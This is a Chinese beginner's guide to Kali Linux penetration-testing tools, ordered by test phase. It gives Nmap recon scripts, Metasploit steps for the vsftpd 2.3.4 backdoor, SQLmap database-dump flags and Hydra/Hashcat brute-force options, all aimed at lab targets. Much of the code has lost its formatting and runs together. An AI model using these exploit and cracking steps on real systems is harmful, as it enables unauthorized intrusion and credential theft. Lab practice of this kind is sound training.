ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

Kali Linux工具那么多到底先学什么?渗透测试常用工具完整整理

Kali Linux工具那么多到底先学什么?渗透测试常用工具完整整理 引言工具焦虑是每个新手的第一道坎打开 Kali Linux 的应用菜单十几个分类、六百多款工具铺面而来信息收集、漏洞分析、无线攻击、逆向工程、压力测试……很多初学者的第一反应不是兴奋而是劝退——“这得学到哪年”。这种焦虑非常普遍几乎每个踏入安全圈的新人都经历过。面对如此庞大的工具矩阵最常见的错误是试图“全部学会”结果学了三个月还在信息收集的门口徘徊真正上手实战时却连一个像样的渗透流程都跑不通。”但如果你观察一线红队工程师的日常会发现一个反直觉的事实一次标准渗透测试中80% 的工作由不到 20% 的工具完成。剩下的几百款工具要么是特定场景的补充要么是功能重叠的替代品。换句话说你真正需要“精通”的工具其实屈指可数其余大部分只需要“知道存在、会用基础命令”即可。把精力集中在核心工具上远比囫囵吞枣地扫一遍菜单高效得多。这就像学开车你不需要把汽车维修手册背下来才能上路掌握方向盘、油门、刹车和几个关键仪表就能应对绝大多数路况遇到疑难杂症再翻手册也不迟。工具学习同理先建立“够用”的能力基线再按需深入。所以这个问题的正确答案不是“按菜单学”而是“按渗透测试流程学”。工具只是流程各环节的载体先把流程骨架搭起来工具自然会各归其位。本文就按这个思路把常用工具完整梳理一遍并给出明确的优先级和学习路径。读完这篇文章你会清楚地知道每个阶段该用什么工具、学到什么程度、先学什么后学什么以及如何用一条完整的实战链路把所学串起来。更重要的是你会建立一种“以目标为导向”的学习心态——不是“我会用哪些工具”而是“我要完成这个任务需要哪些工具、按什么顺序用”。这种思维方式的转变才是从新手迈向合格渗透测试工程师的关键一步。## 一、认知框架按 PTES 流程给工具定位业界通用的渗透测试执行标准PTES把测试划分为七个阶段简化后可以归纳为五个环节。每个环节都有对应的“主力工具”和“辅助工具”。理解这张表的关键在于它不是一份工具清单而是一条流水线。上一阶段的输出比如 Nmap 扫出的开放端口就是下一阶段的输入比如 SQLmap 要打的数据库服务。工具之间是接力关系而不是孤立存在。阶段核心目标代表工具情报收集资产测绘、攻击面收敛Nmap、subfinder、theHarvester、Shodan平台漏洞分析发现可利用缺陷nuclei、Nikto、GVMOpenVAS漏洞利用验证并获取权限Metasploit、searchsploit、SQLmap、Burp Suite密码攻击弱口令与凭据破解Hydra、Hashcat、John the Ripper后渗透提权、横向移动、留痕清理Mimikatz、LinPEAS/WinPEAS、Empire报告交付证据固化与复现指引Dradis、Ghostwriter这张表就是你的“地图”。学习的顺序应该严格沿着流程从上往下走——因为前一环节的产出是后一环节的输入跳过信息收集直接跑漏洞扫描输出的报告基本没有价值。很多新手喜欢一上来就玩 Metasploit 的 exploit觉得“打进去”才酷但如果没有前期侦察打底你连目标开了哪些端口、跑了什么服务都不知道exploit 选型只能靠猜成功率自然惨不忍睹。流程感是专业与业余的分水岭。二、优先级排序先啃下这五件“兵器”1. Nmap——一切从端口开始没有任何商量余地Nmap 是第一优先级。主机存活、端口开放、服务版本、操作系统指纹这些信息决定了后续所有攻击路径的选择。重点掌握-sS/-sV/-O/-p-、--scriptNSE 脚本引擎和输出格式-oN/-oX。Nmap 学不透后面 Metasploit 的db_nmap你也用不明白。建议的练习路径是先在本地搭一个虚拟网段用-sn做主机发现再用-sV识别服务版本最后用--script跑几个常见漏洞脚本把输出格式吃透。这样一轮下来你对“侦察”这个环节就有了肌肉记忆。2. Burp Suite——Web 方向的瑞士军刀只要你的目标是 Web 应用目前企业渗透 70% 以上的突破口在 Web 层Burp 就绕不开。拦截代理、Repeater 手工重放、Intruder 模糊测试这三板斧必须练到肌肉记忆。建议从 DVWA、Pikachu 这类靶场开始配合 Burp 逐个漏洞类型手工打一遍。练习时不要急着用扫描器先学会用 Repeater 手工改包、观察响应差异再上 Intruder 做参数爆破这样你对漏洞成因的理解会扎实得多。3. Metasploit——漏洞利用的框架思维Metasploit 的价值不只是“一键利用”而是它教的标准化利用流程search → use → set → exploit → post 模块。掌握了这套思维换成 Cobalt Strike、Sliver 等商业/开源 C2 框架时几乎无缝迁移。建议把 Metasploitable 2 靶机上的每个漏洞都手动走一遍这个流程并尝试用post模块做提权和信息收集体会“利用成功只是开始后渗透才是重头戏”的完整链路。4. SQLmap——注入自动化SQL 注入常年位居 OWASP Top 10 前列SQLmap 能把手工注入中繁琐的爆库、爆表、爆字段流程自动化。但请注意先用 Burp 手工验证注入点存在再交给 SQLmap直接盲跑既低效也危险。练习时建议先在 DVWA 的 SQL Injection 关卡手工注入一遍理解 or 11--这类 payload 的原理再用 SQLmap 的-u、--dbs、-D、--tables、-T、--columns、-C、--dump参数把同一目标自动化跑一遍对比两种方式的差异。5. Hydra / Hashcat——弱口令永远是第一突破口Hydra 负责在线爆破SSH、RDP、Web 表单Hashcat 负责离线破解抓到的 hash。配合rockyou.txt字典这一对工具在实际项目中命中率惊人。练习时可以在本地搭一个开了 SSH 的靶机用 Hydra 的-l指定用户名、-P指定字典做在线爆破再用 Hashcat 的-m指定 hash 类型、-a指定攻击模式破解一个已知的 hash把这两条链路跑通弱口令攻击你就入门了。无线方向的 Aircrack-ng、OSINT 方向的 Maltego、逆向方向的 Ghidra属于选定细分赛道后再深入的内容入门阶段不必碰。工具优先级速查表把上面五件核心工具整理成一张速查表方便你随时对照优先级决定先学谁适用阶段告诉你它该在流程的哪一步登场核心命令是入门必须记住的推荐靶场则是练手的最佳去处。工具优先级适用阶段核心命令推荐靶场Nmap★★★★★第一优先级情报收集-sSSYN 扫描、-sV服务版本、-O系统指纹、-p-全端口、--scriptNSE 脚本Metasploitable 2、DVWA 所在网段Burp Suite★★★★★漏洞利用Web 层Proxy 拦截、Repeater 手工重放、Intruder 参数爆破DVWA、PikachuMetasploit★★★★☆漏洞利用search→use→set→exploit→postMetasploitable 2SQLmap★★★★☆漏洞利用注入-u目标 URL、--dbs爆库、-D选库、--tables爆表、--dump脱库DVWASQL Injection 关卡Hydra / Hashcat★★★☆☆密码攻击Hydra-l用户名、-P字典Hashcat-mhash 类型、-a攻击模式本地自建 SSH 靶机、抓取已知 hash使用这张表时记住一个原则优先级高的工具先学透但实战中要按流程顺序调用。Nmap 永远最先登场Burp 和 SQLmap 在确认 Web 目标后介入Metasploit 在拿到端口和服务信息后选型Hydra/Hashcat 则作为弱口令兜底手段。把这张表贴在屏幕前配合上面的五节详解你的工具学习路径就清晰了。三、实战案例一次完整的授权靶场测试下面以经典靶机 Metasploitable 2 为例串联上面的工具链。先看一段自动化侦察脚本——实际项目中信息收集的重复劳动非常多尽早养成“脚本化”习惯把重复的命令封装成脚本既能保证每次执行的参数一致又能把结果统一归档方便后续复盘。下面这段脚本覆盖了主机发现和高危端口识别两个阶段你可以直接复制到 Kali 上运行也可以在此基础上扩展更多阶段。bash#!/bin/bashrecon.sh —— 针对授权目标的自动化侦察脚本用法: ./recon.sh 192.168.56.0/24TARGET1OUTDIR /recon/1 OUTDIR~/recon/1OUTDIR/recon/(date %Y%m%d)mkdir -p $OUTDIRecho “[*] 阶段1: 主机发现”nmap -sn $TARGET -oG $OUTDIR/alive.txtgrep Up $OUTDIR/alive.txt | cut -d’ ’ -f2 $OUTDIR/hosts.txtecho “[*] 阶段2: 高危端口与服务识别”nmap -iL $OUTDIR/hosts.txt -p 21,22,23,80,445,3306,5432-sV --open -T4 -oN $OUTDIR/services.txtecho “[*] 阶段3: 漏洞扫描”nmap -iL $OUTDIR/hosts.txt -p 21,22,23,80,445,3306,5432–script vuln -oN $OUTDIR/vulns.txtecho “[*] 阶段4: 漏洞利用”msfconsole -q -x “db_import $OUTDIR/services.txt; hosts; services; exit”echo “[*] 侦察完成结果已归档到 $OUTDIR”脚本跑完后你会得到services.txt和vulns.txt两份关键输出。接下来进入漏洞利用环节以 Metasploitable 2 上常见的 vsftpd 2.3.4 后门漏洞为例用 Metasploit 走一遍标准利用流程msfconsole msf6search vsftpd msf6use exploit/unix/ftp/vsftpd_234_backdoor msf6setRHOSTS192.168.56.101 msf6setPAYLOAD cmd/unix/interact msf6exploit成功后会得到一个交互式 shell此时可以执行id、whoami确认权限再用post模块做进一步信息收集。整个链路从侦察到利用一气呵成这就是“按流程学工具”的完整示范。常见问题排查新手最容易踩的三个坑实战中工具“跑不通”往往不是工具本身的问题而是参数、环境或理解偏差导致的。下面把新手最常踩的三个坑单独拎出来每个都给出具体的排查命令和解决思路。坑 1Nmap 扫描无结果现象是nmap -sn 192.168.56.0/24跑完alive.txt里一个Up都没有。先别急着怀疑靶机没开机按下面顺序排查# 1. 先确认本机与目标是否在同一网段路由是否可达ipaddr showiproute# 2. 用 ping 直接探测目标排除 ICMP 被防火墙丢弃的情况ping-c3192.168.56.101# 3. 如果 ping 不通但端口可能开放改用 TCP SYN 扫描-sn 依赖 ICMP容易被拦nmap-sS-p22,80,445192.168.56.101排查思路-sn默认发 ICMP Echo 请求很多靶机或虚拟网卡默认丢弃 ICMP导致“假死”。此时改用-sS做 TCP 半开扫描只要目标有端口开放就能发现。另外确认 VirtualBox/VMware 的网卡模式是“仅主机”还是“NAT”网段不一致也会导致完全扫不到。最后检查当前用户是否有原始套接字权限——非 root 跑-sS会失败必要时加sudo。坑 2Metasploit exploit 执行后无回显exploit敲下去光标卡住或直接返回但没有任何 session 建立。这时用两个命令定位问题msf6show options msf6check排查思路先show options逐项核对RHOSTS、RPORT、LHOST、LPORT是否填对——RHOSTS填错或漏填是最常见原因LPORT被占用也会导致 payload 回连失败。再执行check它会尝试探测目标是否真的存在该漏洞如果check返回vulnerable但 exploit 仍无回显多半是 payload 与目标架构不匹配比如目标没有/bin/sh或不是 Linux换cmd/unix/reverse_netcat这类更通用的 payload 再试。若check返回not vulnerable说明目标根本没打这个补丁前的版本直接换漏洞或换靶机。坑 3SQLmap 注入失败sqlmap -u http://192.168.56.101/dvwa/vulnerabilities/sqli/?id1跑完提示unable to inject通常是参数位置或闭合方式没对上。先手工确认注入点# 1. 先用 Burp 或 curl 观察原始响应确认 id 参数确实被拼进 SQLcurl-vhttp://192.168.56.101/dvwa/vulnerabilities/sqli/?id1# 2. 手工测试闭合方式单引号、双引号、括号等curlhttp://192.168.56.101/dvwa/vulnerabilities/sqli/?id1curlhttp://192.168.56.101/dvwa/vulnerabilities/sqli/?id1\# 3. 明确告诉 SQLmap 参数位置和闭合方式sqlmap-uhttp://192.168.56.101/dvwa/vulnerabilities/sqli/?id1\-pid--prefix--suffix-- ---dbmsmysql排查思路SQLmap 默认会遍历所有参数并自动猜测闭合但遇到 WAF、复杂闭合或参数被过滤时会失败。先用-p id显式指定注入参数再用--prefix和--suffix手工指定闭合方式比如开头、-- -结尾最后用--dbms指定数据库类型减少盲猜。如果还不行把--level和--risk调高如--level3 --risk2扩大测试范围但注意这会显著增加请求量务必只在授权靶场上使用。更多硬核网安与AI工具包请扫码获取完整源码
返回列表